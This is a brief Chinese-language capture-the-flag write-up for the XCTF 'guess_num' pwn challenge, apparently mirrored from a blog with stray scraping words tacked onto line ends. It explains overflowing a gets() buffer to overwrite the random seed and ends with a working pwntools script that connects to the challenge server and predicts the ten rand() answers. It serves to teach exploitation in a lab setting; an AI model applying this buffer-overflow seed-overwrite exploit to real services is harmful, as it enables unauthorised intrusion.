XCTF-guess_num

原題連接  https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5057&page=1html

 

查看基本信息:python

 

 開啓了canary,不能經過棧溢出直接覆蓋地址linux

用IDA查看源代碼函數

 

 必須輸入正確的數字,才能執行sub_C3E()spa

 

 經過gets()函數覆蓋隨機數種子.net

 

經過ldd查找libc共享庫, 這裏python須要用到c語言的標準動態庫(http://www.javashuo.com/article/p-wnaufman-q.html3d

ctypes python的外部函數庫  https://docs.python.org/zh-cn/3.7/library/ctypes.htmlcode

 

rand函數和srand函數相關知識:https://blog.csdn.net/qq_41199502/article/details/80726780htm

  具體實現:  
1. 經過垃圾字符覆蓋var_30到seed:「a」 * 0x20
2. 使用p64()把1按照64位的方式進行排列產生隨機數
3. 調用srand()生成隨機數
4. 利用循環屢次輸入進行比較,直到相等。blog

from pwn import *
from ctypes import *
sh = remote('159.138.137.79',50420)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

payload = 'A' * 0x20 + p64(1)

sh.sendlineafter("name:",payload)
#get offset is 0x20,edit seed as 1
libc.srand(1)
for i in range(10):
    sh.recvuntil("number:")
    sh.sendline(str(libc.rand()%6+1))
# print(str(libc.rand()%6+1))
sh.interactive()
相關文章
相關標籤/搜索